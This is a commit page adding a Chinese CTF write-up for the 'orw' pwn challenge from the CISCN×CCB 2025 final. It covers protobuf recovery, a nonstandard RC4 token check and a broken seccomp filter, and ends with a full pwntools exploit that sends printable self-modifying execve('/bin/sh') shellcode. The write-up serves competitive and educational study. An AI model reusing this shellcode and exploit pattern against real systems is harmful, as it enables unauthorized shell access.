Skip to content

Commit 3c20dfc

Browse files
committed
new(ciscnxccb2025): add writeup for ccb final - orw
1 parent e80787e commit 3c20dfc

File tree

6 files changed

+168
-1
lines changed

6 files changed

+168
-1
lines changed

ciscnxccb2025/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@
2424
经典爆0了,最后排名28,保底三等奖了。protobuf忘记准备了,明明之前刚遇到过,
2525
甚至我都已经star了解析message结构体的仓库了,结果忘记了,这下吃一堑吃一堑了
2626

27-
1. orw
27+
1. [orw](ccb.ez_orw.md)
2828
2. interpreter
2929
3. tiny_console
3030
4. ccb-dev
89.9 KB
Loading

ciscnxccb2025/assets/local_shell.png

72.8 KB
Loading

ciscnxccb2025/assets/pbpt.png

110 KB
Loading

ciscnxccb2025/assets/reverse.png

48.5 KB
Loading

ciscnxccb2025/ccb.ez_orw.md

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
# orw
2+
3+
> 只要你做出来了,你就能拿到这个数,拿不到的话我来给你补
4+
5+
## 文件属性
6+
7+
|属性 ||
8+
|------|------|
9+
|Arch |amd64 |
10+
|RELRO |Full |
11+
|Canary|on |
12+
|NX |on |
13+
|PIE |on |
14+
|strip |yes |
15+
16+
## seccomp rules
17+
18+
有沙箱,但是无法加载,等效于无沙箱
19+
20+
<img src="assets/broken_seccomp.png" width="60%">
21+
22+
## 解题思路
23+
24+
### 吃一堑吃一堑
25+
26+
早在半决赛的时候,就有过protobuf的题,那个时候不会做,等到我看到了能提取proto的工具,
27+
我也只是想到需要学一下,结果没想到决赛又考了,而我工具还没下,这下输麻了。
28+
29+
那么现在就来介绍一下北邮✌️写的[这个工具](https://github.com/Rea1Atomic/protobuf-pwn-tool)
30+
31+
<img src="assets/pbpt.png" width="50%">
32+
33+
使用一行命令,这个小工具可以直接将elf里保存的proto导出到文件,
34+
接下来就可以使用protoc工具生成`.h``.c`文件,随便写一个空壳文件并include头文件,
35+
然后写一个空的`main`函数,最后`-g`两个文件一起编译,就可以将文件拖入Ghidra中,复制出结构体定义了。
36+
37+
```sh
38+
protoc --c_out=. ez_orw.proto
39+
cat << EOF > c.c
40+
#include "ez_orw.pb-c.h"
41+
int main() {}
42+
EOF
43+
gcc -g c.c ez_orw.pb-c.c
44+
protoc --python_out=. ez_orw.proto
45+
```
46+
47+
最后还原效果如下图所示
48+
49+
![reverse](assets/reverse.png)
50+
51+
最后在脚本中`import ez_orw_pb2`就可以用了。
52+
53+
### RC4加密,对吗?
54+
55+
在运行shellcode前,需要对`giaotoken`做检查,阅读其中的两个函数,
56+
不难发现是RC4加密,但是如果直接用RC4解密,会发现,得到的明文中有00字符,
57+
并且有一些都不是可见字符。仔细检查解密过程,没有错误,难道是他写的RC4实现有问题?
58+
59+
```python
60+
from Crypto.Cipher import ARC4
61+
ciphertext = bytes.fromhex('''
62+
6a 36 af a6 7b a8 5f b9 63 7d 83 c7 0c 1c 8d 91
63+
d3 f2 6e 6b b3 f9 77 f8 bf e2 88 e8 fc ec fd 8e
64+
fd 92 fe 40
65+
''')
66+
key = b'114514giaogiaogiao99'
67+
cipher = ARC4.new(key)
68+
print(cipher.decrypt(ciphertext))
69+
# b'\t\x06PQ\x06\x0c\x02XLVW[TBS\rTX\x14\x00c2e-418608b3bbea'
70+
```
71+
72+
后半部分看起来是正常的,前半部分不太对。尝试将其作为token输入,得到的结果并不正确。
73+
突然我想到RC4的加解密是对称的,只要用gdb修改token为密文,然后让程序运行加密函数,
74+
就可以从内存中拿到明文。正确结果是一个UUID字符串。也就是说,这道题的RC4实现也有问题。
75+
76+
### 坏掉的seccomp
77+
78+
在检查完token后,还要对`giaoid``giaosize`以及输入的shellcode做检查,
79+
shellcode必须是可打印字符。还要检查输入的shellcode长度和protobuf长度,
80+
最后应用一个沙箱后执行shellcode。
81+
82+
为了在不输入protobuf的情况下运行沙箱,我选择了用gdb修改rip,让程序直接运行到`prctl`的地方,
83+
好不容易把filter拿出来了,让`seccomp-tools`解析一下,却发现goto跳转的目标行号,
84+
是要比filter的长度长的。这么显然的错误内核自然不会放过,因此沙箱并没有成功加上,
85+
系统调用失败了。后面我们可以直接`execve`拿shell。
86+
87+
### 连起来
88+
89+
最后,设置一下shellcode的最大长度,满足一下各种条件,再写个shellcode就可得到如下脚本。
90+
91+
> 妥妥的烂题,沙箱不会写,RC4不会实现,整道题充斥着烂梗,能出这种题目的家里请什么都没用了。
92+
93+
## EXPLOIT
94+
95+
```python
96+
from pwn import *
97+
import string
98+
import ez_orw_pb2
99+
context.terminal = ['tmux', 'splitw', '-h']
100+
context.arch = 'amd64'
101+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
102+
EXE = './ez_orw'
103+
printable = bytes(string.printable, 'utf-8')
104+
105+
def payload(lo: int):
106+
global t
107+
if lo:
108+
t = process(EXE)
109+
if lo & 2:
110+
gdb.attach(t)
111+
else:
112+
t = remote('', 9999)
113+
114+
# run until protobuf msg input
115+
t.sendlineafter(b'DO U', b'0x0')
116+
t.sendlineafter(b'replenish\n', b'64') # set up shellcode max length
117+
pie_base = int(t.recv(14), 16) - 0x5008
118+
success(GOLD_TEXT(f'Got pie_base: {pie_base:#x}'))
119+
t.sendline(hex(pie_base + 0x3041).encode())
120+
121+
code = '''
122+
// mov rbx, rax # rax == shellcode
123+
push rax
124+
pop rbx
125+
// xor esi, esi; xor edx, edx
126+
push 0x20
127+
pop rax
128+
xor al, 0x20
129+
push rax
130+
push rax
131+
push rax
132+
pop rsi
133+
pop rdx
134+
// 2f2f -> 0f05
135+
push 0x20202020
136+
pop rcx
137+
xor word ptr [rbx + 0x20], cx
138+
// lea rdi, "/bin/sh"
139+
xor rax, qword ptr [rbx + 0x22]
140+
push rax
141+
push rsp
142+
pop rdi
143+
// mov eax, SYS_execve
144+
push 0x3b
145+
pop rax
146+
// syscall
147+
'''
148+
shellcode = asm(code) + b'\x2f\x25/bin/sh'
149+
assert len(shellcode) == 0x20 + 9 and all(byte in printable for byte in shellcode)
150+
message = ez_orw_pb2.Msgiao()
151+
message.giaoid = 0x114514
152+
message.giaosize = 0x415411
153+
message.giaotoken = b'87dd78e1-9025-4d57-9c2e-418608b3bbea'
154+
message.giaocontent = shellcode
155+
success(f'Sending shellcode len({shellcode}) = {len(shellcode):#x}')
156+
t.sendafter(b'your giao', message.SerializeToString())
157+
158+
t.clean()
159+
t.interactive()
160+
t.close()
161+
```
162+
163+
![shell](assets/local_shell.png)
164+
165+
## 参考
166+
167+
1. [Rea1Atomic/protobuf-pwn-tool](https://github.com/Rea1Atomic/protobuf-pwn-tool)

0 commit comments

Comments
 (0)